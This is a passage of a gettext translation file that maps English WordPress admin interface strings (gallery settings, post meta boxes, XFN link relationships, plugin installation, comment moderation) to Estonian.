#: wp-admin/includes/media.php:2128
msgid "Sort Order:"
msgstr "Järjestus:"

#: wp-admin/includes/media.php:2129 wp-admin/includes/media.php:2197
msgid "Ascending"
msgstr "Kasvav"

#: wp-admin/includes/media.php:2130 wp-admin/includes/media.php:2200
msgid "Descending"
msgstr "Kahanev"

#: wp-admin/includes/media.php:2161
msgid "Link thumbnails to:"
msgstr "Pisipiltide viide:"

#: wp-admin/includes/media.php:2166
msgid "Image File"
msgstr "Pildifail"

#: wp-admin/includes/media.php:2176
msgid "Order images by:"
msgstr "Piltide järjestus: "

#: wp-admin/includes/media.php:2181
msgid "Menu order"
msgstr "Menüüjärjestus"

#: wp-admin/includes/media.php:2183
msgid "Date/Time"
msgstr "Kuupäev ja aeg"

#: wp-admin/includes/media.php:2184
msgid "Random"
msgstr "Juhuslik"

#: wp-admin/includes/media.php:2192
msgid "Order:"
msgstr "Järjestus:"

#: wp-admin/includes/media.php:2207
msgid "Gallery columns:"
msgstr "Galerii veerge:"

#: wp-admin/includes/media.php:2228
msgid "Update gallery settings"
msgstr "Uuenda galerii seadeid"

#: wp-admin/includes/media.php:2305
msgid "All Types"
msgstr "Kõik tüübid"

#: wp-admin/includes/media.php:2379
msgid "Filter &#187;"
msgstr "Filter &#187;"

#: wp-admin/includes/media.php:2430
msgid "Image Caption"
msgstr "Pildi allkiri"

#: wp-admin/includes/media.php:2495
msgid "Link Image To:"
msgstr "Pildiviide:"

#: wp-admin/includes/media.php:2500
msgid "Link to image"
msgstr "Viide pildile"

#: wp-admin/includes/media.php:2469
msgid "Link text, e.g. &#8220;Ransom Demands (PDF)&#8221;"
msgstr "Viite tekst, näiteks &#8220;Lunarahanõuded (PDF)&#8221;"

#: wp-admin/includes/meta-boxes.php:42
msgid "Preview Changes"
msgstr "Lehe eelvaade"

#: wp-admin/export.php:184 wp-admin/export.php:216
#: wp-admin/includes/meta-boxes.php:68
msgid "Status:"
msgstr "Postituse olek:"

#: wp-admin/includes/meta-boxes.php:119
msgid "Visibility:"
msgstr "Nähtavus:"

#: wp-admin/includes/meta-boxes.php:127 wp-admin/includes/meta-boxes.php:150
#: wp-admin/includes/template.php:1626
msgid "Password protected"
msgstr "Parooliga kaitstud"

#: wp-admin/includes/meta-boxes.php:148
msgid "Stick this post to the front page"
msgstr "Kinnista see postitus esilehele"

#: wp-admin/includes/meta-boxes.php:168
msgid "Scheduled for: <b>%1$s</b>"
msgstr "Avaldatakse: <b>%1$s</b>"

#: wp-admin/includes/meta-boxes.php:170
msgid "Published on: <b>%1$s</b>"
msgstr "Avaldatud: <b>%1$s</b>"

#: wp-admin/includes/meta-boxes.php:172 wp-admin/includes/meta-boxes.php:180
msgid "Publish <b>immediately</b>"
msgstr "Avalda <strong>kohe</strong>"

#: wp-admin/includes/meta-boxes.php:174
msgid "Schedule for: <b>%1$s</b>"
msgstr "Avaldatakse: <b>%1$s</b>"

#: wp-admin/includes/meta-boxes.php:176
msgid "Publish on: <b>%1$s</b>"
msgstr "Avaldatakse: <b>%1$s</b>"

#: wp-admin/includes/meta-boxes.php:471 wp-admin/includes/meta-boxes.php:841
#: wp-admin/includes/nav-menu.php:933 wp-admin/press-this.php:535
msgid "Most Used"
msgstr "Enimkasutatud"

#: wp-admin/includes/meta-boxes.php:862 wp-admin/includes/meta-boxes.php:864
msgid "+ Add New Category"
msgstr "+ Lisa rubriik"

#: wp-admin/includes/meta-boxes.php:865
msgid "New category name"
msgstr "Uue rubriigi nimi"

#: wp-admin/includes/meta-boxes.php:526
msgid "Excerpts are optional hand-crafted summaries of your content that can be used in your theme. <a href=\"http://codex.wordpress.org/Excerpt\" target=\"_blank\">Learn more about manual excerpts.</a>"
msgstr "Väljavõtted on soovi korral lisatavad isekirjutatud kokkuvõtted pikematest tekstidest, mida saab teemades kasutada.  <a href=\"http://codex.wordpress.org/Excerpt\" target=\"_blank\">Loe lähemalt siit.</a>"

#: wp-admin/includes/meta-boxes.php:540
msgid "Already pinged:"
msgstr "Juba pingitud:"

#: wp-admin/includes/meta-boxes.php:549
msgid "Send trackbacks to:"
msgstr "Saada tagasisideviide aadressi(de)le:"

#: wp-admin/includes/meta-boxes.php:549
msgid "Separate multiple URLs with spaces"
msgstr "Eralda URL-id tühikutega"

#: wp-admin/includes/meta-boxes.php:576
msgid "Custom fields can be used to add extra metadata to a post that you can <a href=\"http://codex.wordpress.org/Using_Custom_Fields\" target=\"_blank\">use in your theme</a>."
msgstr "Lisavälju saab kasutada täiendavate metaandmete lisamiseks. Neid saab kasutada <a href=\"http://codex.wordpress.org/Using_Custom_Fields\" target=\"_blank\">teemades</a>."

#: wp-admin/includes/meta-boxes.php:592
msgid "Allow <a href=\"%s\" target=\"_blank\">trackbacks and pingbacks</a> on this page."
msgstr "Luba sel lehel <a href=\"%s\" target=\"_blank\">trackback- ja pingback -viiteid</a>."

#: wp-admin/includes/meta-boxes.php:592
msgid "http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments"
msgstr "http://codex.wordpress.org/Introduction_to_Blogging#Managing_Comments"

#: wp-admin/includes/meta-boxes.php:648
msgid "Show comments"
msgstr "Näita kommentaare"

#: wp-admin/includes/class-wp-posts-list-table.php:1050
#: wp-admin/includes/meta-boxes.php:736 wp-admin/includes/meta-boxes.php:737
msgid "Parent"
msgstr "Ülemleht"

#: wp-admin/includes/class-wp-posts-list-table.php:1056
msgid "Main Page (no parent)"
msgstr "Pealeht (ülemlehti pole)"

#: wp-admin/includes/class-wp-posts-list-table.php:1100
#: wp-admin/includes/meta-boxes.php:747
msgid "Default Template"
msgstr "Vaikimisi mall"

#: wp-admin/includes/meta-boxes.php:781
msgid "Visit Link"
msgstr "Külasta lehte"

#: wp-admin/includes/meta-boxes.php:789
msgid "Keep this link private"
msgstr "Muuda viide privaatseks"

#: wp-admin/includes/class-wp-links-list-table.php:155
msgid ""
"You are about to delete this link '%s'\n"
"  'Cancel' to stop, 'OK' to delete."
msgstr ""
"Oled kustutamas viidet '%s'. \n"
"Kustutamiseks vali 'Olgu', tühistamiseks 'Tühista'."

#: wp-admin/includes/meta-boxes.php:886
msgid "<code>_blank</code> &mdash; new window or tab."
msgstr "<code>_blank</code> - uus aken või sakk."

#: wp-admin/includes/meta-boxes.php:889
msgid "<code>_top</code> &mdash; current window or tab, with no frames."
msgstr "<code>_top</code> - jooksev aken/sakk ilma raamideta."

#: wp-admin/includes/meta-boxes.php:892
msgid "<code>_none</code> &mdash; same window or tab."
msgstr "<code>_none</code> - sama aken või sakk."

#: wp-admin/includes/meta-boxes.php:894
msgid "Choose the target frame for your link."
msgstr "Vali viite sihtraam."

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:939
msgid "rel:"
msgstr "rel:"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:943 wp-admin/includes/meta-boxes.php:944
msgid "identity"
msgstr "identiteet"

#: wp-admin/includes/meta-boxes.php:947
msgid "another web address of mine"
msgstr "minu teine veebileht"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:951 wp-admin/includes/meta-boxes.php:952
msgid "friendship"
msgstr "sõprus"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:954
msgid "contact"
msgstr "kontakt"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:957
msgid "acquaintance"
msgstr "tuttav"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:960
msgid "friend"
msgstr "sõber"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:963 wp-admin/includes/meta-boxes.php:996
#: wp-admin/includes/meta-boxes.php:1019
msgid "none"
msgstr "puudub"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:968 wp-admin/includes/meta-boxes.php:969
msgid "physical"
msgstr "füüsiline"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:971
msgid "met"
msgstr "kohatud"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:976 wp-admin/includes/meta-boxes.php:977
msgid "professional"
msgstr "kutsealane"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:979
msgid "co-worker"
msgstr "kaastööline"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:982
msgid "colleague"
msgstr "kolleeg"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:987 wp-admin/includes/meta-boxes.php:988
msgid "geographical"
msgstr "geograafiline"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:990
msgid "co-resident"
msgstr "leibkonnakaaslane"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:993
msgid "neighbor"
msgstr "naaber"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:1001 wp-admin/includes/meta-boxes.php:1002
msgid "family"
msgstr "perekond"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:1004
msgid "child"
msgstr "laps"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:1007
msgid "kin"
msgstr "sugulane"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:1010
msgid "parent"
msgstr "vanem"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:1013
msgid "sibling"
msgstr "õde-vend"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:1016
msgid "spouse"
msgstr "abikaasa"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:1024 wp-admin/includes/meta-boxes.php:1025
msgid "romantic"
msgstr "romantiline"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:1027
msgid "muse"
msgstr "muusa"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:1030
msgid "crush"
msgstr "tõmme"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:1033
msgid "date"
msgstr "kohting"

#. translators: xfn: http:gmpg.org/xfn/
#: wp-admin/includes/meta-boxes.php:1036
msgid "sweetheart"
msgstr "kallim"

#: wp-admin/includes/meta-boxes.php:1042
msgid "If the link is to a person, you can specify your relationship with them using the above form. If you would like to learn more about the idea check out <a href=\"http://gmpg.org/xfn/\">XFN</a>."
msgstr "Kui viitad teisele inimesele, võid siin määrata ka enda suhte temaga. Täpsemalt võid sellest lugeda <a href=\"http://gmpg.org/xfn/\">XFN lehelt</a>."

#: wp-admin/includes/meta-boxes.php:1057
msgid "Image Address"
msgstr "Pildi aadress"

#: wp-admin/includes/meta-boxes.php:1061
msgid "RSS Address"
msgstr "RSS-aadress"

#: wp-admin/includes/meta-boxes.php:1065
msgid "Notes"
msgstr "Märkused"

#: wp-admin/includes/class-wp-links-list-table.php:96
#: wp-admin/includes/meta-boxes.php:1069
msgid "Rating"
msgstr "Hinnang"

#: wp-admin/includes/meta-boxes.php:1078
msgid "(Leave at 0 for no rating.)"
msgstr "(Jäta 0-ks, kui ei soovi hinnata.)"

#: wp-admin/includes/menu.php:319
msgid "You do not have sufficient permissions to access this page."
msgstr "Sul ei ole sellele lehele ligipääsuõigusi."

#: wp-admin/includes/plugin-install.php:133
msgid "Popular tags"
msgstr "Levinud sildid"

#: wp-admin/includes/plugin-install.php:134
msgid "You may also browse based on the most popular tags in the Plugin Directory:"
msgstr "Võid ka sirvida pluginakataloogi levinumate siltide järgi:"

#: wp-admin/includes/plugin-install.php:170
#: wp-admin/includes/plugin-install.php:182
#: wp-admin/includes/plugin-install.php:185
msgid "Search Plugins"
msgstr "Otsi pluginaid"

#: wp-admin/includes/plugin-install.php:198
msgid "If you have a plugin in a .zip format, you may install it by uploading it here."
msgstr "Kui soovitud plugin on pakitud .zip-vormingusse, saad selle siit üles laadida."

#: wp-admin/includes/plugin-install.php:201
msgid "Plugin zip file"
msgstr "Plugina zip-fail"

#: wp-admin/includes/class-wp-plugin-install-list-table.php:394
#: wp-admin/includes/class-wp-theme-install-list-table.php:249
#: wp-admin/includes/plugin-install.php:203
#: wp-admin/includes/plugin-install.php:528
#: wp-admin/includes/theme-install.php:143
msgid "Install Now"
msgstr "Paigalda"

#: wp-admin/includes/class-wp-plugin-install-list-table.php:199
msgid "No plugins match your request."
msgstr "Selliseid pluginaid ei ole."

#: wp-admin/includes/ajax-actions.php:2623
#: wp-admin/includes/plugin-install.php:453
msgid "(based on %s rating)"
msgid_plural "(based on %s ratings)"
msgstr[0] "(%s hinnang)"
msgstr[1] "(%s hinnangut)"

#: wp-admin/includes/plugin-install.php:378 wp-admin/update.php:106
msgid "Plugin Install"
msgstr "Plugina paigaldamine"

#: wp-admin/includes/plugin-install.php:533
msgid "Install Update Now"
msgstr "Uuenda kohe"

#: wp-admin/includes/plugin-install.php:537
msgid "Newer Version (%s) Installed"
msgstr "Uuem versioon (%s) on paigaldatud"

#: wp-admin/includes/plugin-install.php:540
msgid "Latest Version Installed"
msgstr "Uusim versioon on paigaldatud"

#: wp-admin/includes/plugin-install.php:431
msgid "Author:"
msgstr "Autor:"

#: wp-admin/includes/class-wp-plugin-install-list-table.php:462
#: wp-admin/includes/plugin-install.php:433
msgid "Last Updated:"
msgstr "Viimati uuendatud:"

#: wp-admin/includes/plugin-install.php:437
msgid "Requires WordPress Version:"
msgstr "Vajab WordPressi versiooni:"

#: wp-admin/includes/plugin-install.php:437
msgid "%s or higher"
msgstr "%s või enam"

#: wp-admin/includes/plugin-install.php:439
msgid "Compatible up to:"
msgstr "Ühilduv kuni: "

#: wp-admin/includes/plugin-install.php:441
msgid "Downloaded:"
msgstr "Alla laetud:"

#: wp-admin/includes/plugin-install.php:441
msgid "%s time"
msgid_plural "%s times"
msgstr[0] "%s kord"
msgstr[1] "%s korda"

#: wp-admin/includes/plugin-install.php:443
msgid "WordPress.org Plugin Page &#187;"
msgstr "WordPress.org pluginateleht &#187;"

#: wp-admin/includes/plugin-install.php:451
msgid "Average Rating"
msgstr "Keskmine hinnang"

#: wp-admin/includes/plugin-install.php:502
msgid "<strong>Warning:</strong> This plugin has <strong>not been tested</strong> with your current version of WordPress."
msgstr "<strong>Hoiatus:</strong> Seda pluginat <strong>ei ole testitud</strong> Sinu praeguse WordPressi versiooniga."

#: wp-admin/includes/plugin-install.php:504
msgid "<strong>Warning:</strong> This plugin has <strong>not been marked as compatible</strong> with your version of WordPress."
msgstr "<strong>Hoiatus:</strong> See plugin ei ole  <strong>ühilduv</strong> sinu praeguse WordPressi versiooniga."

#: wp-admin/includes/plugin.php:92
msgid "The <code>%1$s</code> plugin header is deprecated. Use <code>%2$s</code> instead."
msgstr "Pluginapäist <code>%1$s</code> ei soovitata kasutada. Parem oleks <code>%2$s</code>."

#: wp-admin/includes/plugin.php:605
msgid "The plugin generated unexpected output."
msgstr "See plugin tekitas ootamatu väljundinfo."

#: wp-admin/includes/plugin.php:742
msgid "One of the plugins is invalid."
msgstr "Üks pluginatest on vigane."

#: wp-admin/includes/plugin.php:838
msgid "Could not fully remove the plugin(s) %s."
msgstr "Plugina(te) %s täielik eemaldamine ei õnnestu."

#: wp-admin/includes/plugin.php:893
msgid "Invalid plugin path."
msgstr "Plugina kataloogitee on vigane."

#: wp-admin/includes/plugin.php:895
msgid "Plugin file does not exist."
msgstr "Pluginafaili ei leitud."

#: wp-admin/includes/plugin.php:899
msgid "The plugin does not have a valid header."
msgstr "Plugina päis on vigane."

#: wp-admin/includes/post.php:33 wp-admin/includes/post.php:71
msgid "You are not allowed to edit pages as this user."
msgstr "Sul ei ole õigust selle kasutajana lehekülgi muuta."

#: wp-admin/includes/post.php:35 wp-admin/includes/post.php:73
msgid "You are not allowed to edit posts as this user."
msgstr "Sul ei ole õigust selle kasutajana postitusi muuta."

#: wp-admin/includes/post.php:361
msgid "You are not allowed to edit pages."
msgstr "Sul ei ole õigust lehti muuta."

#: wp-admin/includes/post.php:363
msgid "You are not allowed to edit posts."
msgstr "Sul ei ole õigust postituso muuta."

#: wp-admin/includes/post.php:534
msgid "Auto Draft"
msgstr "Automaatmustand"

#: wp-admin/includes/post.php:1197
msgid "Click to edit this part of the permalink"
msgstr "Viite muutmiseks klõpsa sellele"

#: wp-admin/includes/post.php:1199
msgid "Temporary permalink. Click to edit this part."
msgstr "Ajutine püsiviide. Muutmiseks klõpsa sellele."

#: wp-admin/includes/post.php:1203 wp-admin/includes/post.php:1225
msgid "Permalink:"
msgstr "Püsiviide:"

#: wp-admin/includes/post.php:1205
msgid "Change Permalinks"
msgstr "Muuda püsiviiteid"

#. translators: blog tagline
#: wp-admin/includes/schema.php:371
msgid "Just another WordPress site"
msgstr "Järjekordne WordPressi veebileht"

#. translators: blog tagline
#: wp-admin/includes/schema.php:496
msgid "Just another %s site"
msgstr "Järjekordne %s veebileht"

#. translators: user role
#: wp-admin/includes/schema.php:602
msgctxt "User role"
msgid "Administrator"
msgstr "Haldur"

#. translators: user role
#: wp-admin/includes/schema.php:604
msgctxt "User role"
msgid "Editor"
msgstr "Toimetaja"

#. translators: user role
#: wp-admin/includes/schema.php:606
msgctxt "User role"
msgid "Author"
msgstr "Autor"

#. translators: user role
#: wp-admin/includes/schema.php:608
msgctxt "User role"
msgid "Contributor"
msgstr "Kaastööline"

#. translators: user role
#: wp-admin/includes/schema.php:610
msgctxt "User role"
msgid "Subscriber"
msgstr "Lugeja"

#: wp-admin/includes/schema.php:953 wp-admin/includes/upgrade.php:151
msgid "Welcome to <a href=\"SITE_URL\">SITE_NAME</a>. This is your first post. Edit or delete it, then start blogging!"
msgstr "Tere tulemast veebilehele <a href=\"SITE_URL\">SITE_NAME</a>. See on su esimene postitus. Muuda seda või kustuta see, seejärel aga alusta kirjutamist!"

#: wp-admin/includes/schema.php:1025
msgid "Warning! Wildcard DNS may not be configured correctly!"
msgstr "Hoiatus - nimeserver ei pruugi olla õigesti häälestatud!"

#: wp-admin/includes/class-wp-comments-list-table.php:479
#: wp-admin/includes/class-wp-posts-list-table.php:937
#: wp-admin/includes/class-wp-terms-list-table.php:423
msgid "Quick Edit"
msgstr "Kiirkirjutamine"

#: wp-admin/includes/class-wp-posts-list-table.php:661
#: wp-admin/includes/class-wp-terms-list-table.php:308
msgid "Quick&nbsp;Edit"
msgstr "Kiirkirjutamine"

#. translators: manage posts column name
#: wp-admin/includes/class-wp-posts-list-table.php:285
msgctxt "column name"
msgid "Title"
msgstr "Pealkiri"

#. translators: column name
#: wp-admin/includes/class-wp-media-list-table.php:221
msgctxt "column name"
msgid "File"
msgstr "Fail"

#. translators: column name
#: wp-admin/includes/class-wp-media-list-table.php:256
msgctxt "column name"
msgid "Date"
msgstr "Kuupäev"

#: wp-admin/includes/class-wp-comments-list-table.php:306
#: wp-admin/includes/class-wp-comments-list-table.php:600
msgctxt "column name"
msgid "Comment"
msgstr ""

#: wp-admin/includes/class-wp-links-list-table.php:94
msgid "Relationship"
msgstr "Viite suhted (XFN)"

#: wp-admin/includes/class-wp-links-list-table.php:95
msgid "Visible"
msgstr "Nähtav"

#: wp-admin/includes/class-wp-posts-list-table.php:937
msgid "Bulk Edit"
msgstr "Lehtede massmuutmine"

#: wp-admin/includes/class-wp-posts-list-table.php:982
#: wp-admin/includes/class-wp-posts-list-table.php:1062
#: wp-admin/includes/class-wp-posts-list-table.php:1098
#: wp-admin/includes/class-wp-posts-list-table.php:1132
#: wp-admin/includes/class-wp-posts-list-table.php:1141
#: wp-admin/includes/class-wp-posts-list-table.php:1173
#: wp-admin/includes/class-wp-posts-list-table.php:1194
#: wp-admin/includes/class-wp-posts-list-table.php:1222
msgid "&mdash; No Change &mdash;"
msgstr "- Muutmata -"

#. translators: Between password field and private checkbox on post quick edit
#. interface
#: wp-admin/includes/class-wp-posts-list-table.php:1008
msgid "&ndash;OR&ndash;"
msgstr "&ndash; VÕI &ndash;"

#: wp-admin/includes/class-wp-posts-list-table.php:1133
#: wp-admin/includes/class-wp-posts-list-table.php:1142
msgid "Allow"
msgstr "Luba"

#: wp-admin/includes/class-wp-posts-list-table.php:1134
#: wp-admin/includes/class-wp-posts-list-table.php:1143
msgid "Do not allow"
msgstr "Ära luba"

#: wp-admin/includes/class-wp-posts-list-table.php:1155
msgid "Allow Comments"
msgstr "Luba kommenteerimist"

#: wp-admin/includes/class-wp-posts-list-table.php:1160
msgid "Allow Pings"
msgstr "Luba pingimist"

#: wp-admin/includes/class-wp-posts-list-table.php:1192
#: wp-admin/includes/class-wp-posts-list-table.php:1195
#: wp-admin/includes/template.php:1635
msgid "Sticky"
msgstr "Kinnistatud"

#: wp-admin/includes/class-wp-posts-list-table.php:1196
msgid "Not Sticky"
msgstr "Kinnistamata"

#: wp-admin/includes/class-wp-posts-list-table.php:1204
msgid "Make this post sticky"
msgstr "Kinnista postitus"

#: wp-admin/includes/class-wp-posts-list-table.php:767
msgid "Missed schedule"
msgstr "Tähtaeg möödas"

#: wp-admin/includes/class-wp-posts-list-table.php:771
msgid "Last Modified"
msgstr "Viimati muudetud"

#: wp-admin/includes/class-wp-users-list-table.php:431
msgid "View posts by this author"
msgstr "Vaata selle autori postitusi"

#: wp-admin/includes/class-wp-comments-list-table.php:417
msgid "In reply to <a href=\"%1$s\">%2$s</a>."
msgstr "Vastuseks: <a href=\"%1$s\">%2$s</a>."

#: wp-admin/includes/class-wp-comments-list-table.php:540
msgid "Y/m/d \\a\\t g:ia"
msgstr "d.m.Y @ h:i"

#: wp-admin/includes/template.php:440
msgid "Reply to Comment"
msgstr "Vasta kommentaarile"

#: wp-admin/includes/template.php:471
msgid "Submit Reply"
msgstr "Saada vastus"

#: wp-admin/includes/template.php:508
msgid "Comment by %s moved to the trash."
msgstr "%s kirjutatud kommentaar saadeti prügikasti."

#: wp-admin/includes/template.php:511
msgid "Comment by %s marked as spam."
msgstr "%s kommentaar märgiti spämmiks."

#: wp-admin/includes/template.php:531 wp-admin/includes/template.php:546
#: wp-admin/includes/template.php:612 wp-admin/includes/template.php:655
msgid "Value"
msgstr "Väärtus"

#: wp-admin/includes/template.php:602
msgid "Key"
msgstr "Võti"

#: wp-admin/includes/template.php:650
msgid "Add New Custom Field:"
msgstr "Lisa täiendav väli:"

#: wp-admin/includes/template.php:676
msgid "Enter new"
msgstr "Sisesta uus"

#: wp-admin/includes/template.php:687
msgid "Add Custom Field"
msgstr "Lisa täiendav väli"

#: wp-admin/includes/template.php:877
msgid "Before you can upload your import file, you will need to fix the following error:"
msgstr "Enne impordifaili üleslaadimist pead parandama järgmise vea:"

#: wp-admin/includes/template.php:883
msgid "Choose a file from your computer:"
msgstr "Vali enda arvutist soovitav fail:"

#: wp-admin/includes/template.php:883
msgid "Maximum size: %s"
msgstr "Maksimumsuurus: %s"

#: wp-admin/includes/template.php:888
msgid "Upload file and import"
msgstr "Lae fail üles ja impordi"

#: wp-admin/includes/template.php:1032 wp-admin/press-this.php:494
#: wp-admin/press-this.php:528 wp-admin/press-this.php:578
msgid "Click to toggle"
msgstr "Klõpsa lülitamiseks"

#: wp-admin/includes/template.php:1439
msgid "Find Posts or Pages"
msgstr "Otsi postitusi või lehti"

#: wp-admin/update.php:214
msgid "Install Themes"
msgstr "Paigalda teemad"

#: wp-admin/themes.php:35
msgid "Manage Themes"
msgstr "Halda teemasid"

#. translators: post state
#: wp-admin/includes/template.php:1633
msgctxt "post state"
msgid "Pending"
msgstr "Ootel"

#: wp-admin/includes/screen.php:972
msgid "Enable accessibility mode"
msgstr "Lülita ligipääsuvahendid sisse"

#: wp-admin/includes/screen.php:972
msgid "Disable accessibility mode"
msgstr "Lülita ligipääsuvahendid välja"

#: wp-admin/includes/media.php:2337 wp-admin/includes/nav-menu.php:657
#: wp-admin/includes/nav-menu.php:897
msgid "&laquo;"
msgstr "&laquo;"

#: wp-admin/includes/media.php:2338 wp-admin/includes/nav-menu.php:658
#: wp-admin/includes/nav-menu.php:898
msgid "&raquo;"
msgstr "&raquo;"

#: wp-admin/includes/ajax-actions.php:688
msgid "Comment %d does not exist"
msgstr "Kommentaari %d ei leitud."

#: wp-admin/includes/taxonomy.php:113
msgid "You did not enter a category name."
msgstr "Sa ei sisestanud rubriigi nime."

#: wp-admin/includes/ajax-actions.php:949
msgid "Sorry, you must be logged in to reply to a comment."
msgstr "Vabandust, kommenteerimiseks pead sisse logima."

#: wp-admin/includes/ajax-actions.php:1164
#: wp-admin/includes/ajax-actions.php:1169
#: wp-admin/includes/ajax-actions.php:1189
msgid "Please provide a custom field value."
msgstr "Palun sisesta välja väärtus."

#: wp-admin/includes/ajax-actions.php:1251
msgid "User <a href=\"#%s\">%s</a> added"
msgstr "Kasutaja <a href=\"#%s\">%s</a> lisatud."

#. translators: draft saved date format, see http:php.net/date
#: wp-admin/includes/misc.php:819
msgid "g:i:s a"
msgstr "H:i"

#. translators: %s: date and time
#: wp-admin/includes/misc.php:821
msgid "Draft saved at %s."
msgstr "Mustand salvestatud %s."

#: wp-admin/includes/ajax-actions.php:1510
msgid "Someone"
msgstr "Keegi"

#: wp-admin/includes/ajax-actions.php:1502 wp-admin/includes/post.php:203
msgid "You are not allowed to edit this page."
msgstr "Sul ei ole õigust seda lehte muuta."

#: wp-admin/includes/ajax-actions.php:1505 wp-admin/includes/post.php:205
#: wp-admin/includes/post.php:1586 wp-admin/includes/post.php:1590
#: wp-admin/press-this.php:33 wp-admin/upload.php:110
msgid "You are not allowed to edit this post."
msgstr "Sul ei ole õigust seda postitust muuta."

#: wp-admin/includes/ajax-actions.php:1511
msgid "Saving is disabled: %s is currently editing this page."
msgstr "Salvestus on välja lülitatud: %s muudab praegu seda lehte."

#: wp-admin/includes/ajax-actions.php:1511
msgid "Saving is disabled: %s is currently editing this post."
msgstr "Salvestus on välja lülitatud: %s muudab praegu seda postitust."

#: wp-admin/edit-tags.php:256 wp-admin/includes/ajax-actions.php:1600
#: wp-admin/includes/ajax-actions.php:1605
msgid "Item not updated."
msgstr "Uuendamata."

#: wp-admin/includes/ajax-actions.php:1644
#: wp-admin/includes/class-wp-posts-list-table.php:323
#: wp-admin/includes/class-wp-posts-list-table.php:962
msgid "Date"
msgstr "Kuupäev"

#: wp-admin/edit-form-comment.php:74 wp-admin/includes/ajax-actions.php:1644
#: wp-admin/includes/class-wp-posts-list-table.php:1170
msgid "Status"
msgstr "Postituse olek"

#: wp-admin/includes/ajax-actions.php:1656
#: wp-admin/includes/class-wp-posts-list-table.php:769
#: wp-admin/includes/class-wp-posts-list-table.php:1177
#: wp-admin/includes/meta-boxes.php:79 wp-admin/includes/meta-boxes.php:102
msgid "Scheduled"
msgstr "Plaanitud postitused"

#: wp-admin/admin.php:215
msgid "Invalid plugin page"
msgstr "Pluginate leht on vigane."

#: wp-admin/admin.php:218
msgid "Cannot load %s."
msgstr "%s ei õnnestu laadida."

#: wp-admin/admin.php:251
msgid "You are not allowed to import."
msgstr "Sul ei ole importimisõigust."

#: wp-admin/admin.php:274 wp-admin/import.php:17 wp-admin/menu.php:214
msgid "Import"
msgstr "Impordi"

#: wp-admin/comment.php:46 wp-admin/edit-form-comment.php:16
msgid "Edit Comment"
msgstr "Muuda kommentaari"

#: wp-admin/comment.php:68 wp-admin/comment.php:221
#: wp-admin/edit-comments.php:164
msgid "Oops, no comment with this ID."
msgstr "Selle ID all kommentaare pole."

#: wp-admin/comment.php:68 wp-admin/comment.php:221
#: wp-admin/includes/post.php:1388
msgid "Go back"
msgstr "Tagasi"

#: wp-admin/comment.php:223 wp-admin/edit-comments.php:167
#: wp-admin/includes/comment.php:37
msgid "You are not allowed to edit comments on this post."
msgstr "Sul ei ole õigust selle postituse kommentaare muuta."

#: wp-admin/comment.php:74
msgid "This comment is in the Trash. Please move it out of the Trash if you want to edit it."
msgstr "See kommentaar asub prügikastis. Kui soovid seda muuta, pead ta eelnevalt taastama."

#: wp-admin/comment.php:123
msgid "You are about to mark the following comment as spam:"
msgstr "Oled märkimas järgnevat kommentaari spämmiks:"

#: wp-admin/comment.php:124
msgid "Spam Comment"
msgstr "Märgi spämmiks"

#: wp-admin/comment.php:127
msgid "You are about to move the following comment to the Trash:"
msgstr "Oled saatmas järgnevat kommentaari prügikasti: "

#: wp-admin/comment.php:128
msgid "Trash Comment"
msgstr "Saada prügikasti"

#: wp-admin/comment.php:131
msgid "You are about to delete the following comment:"
msgstr "Oled kustutamas järgnevat kommentaari:"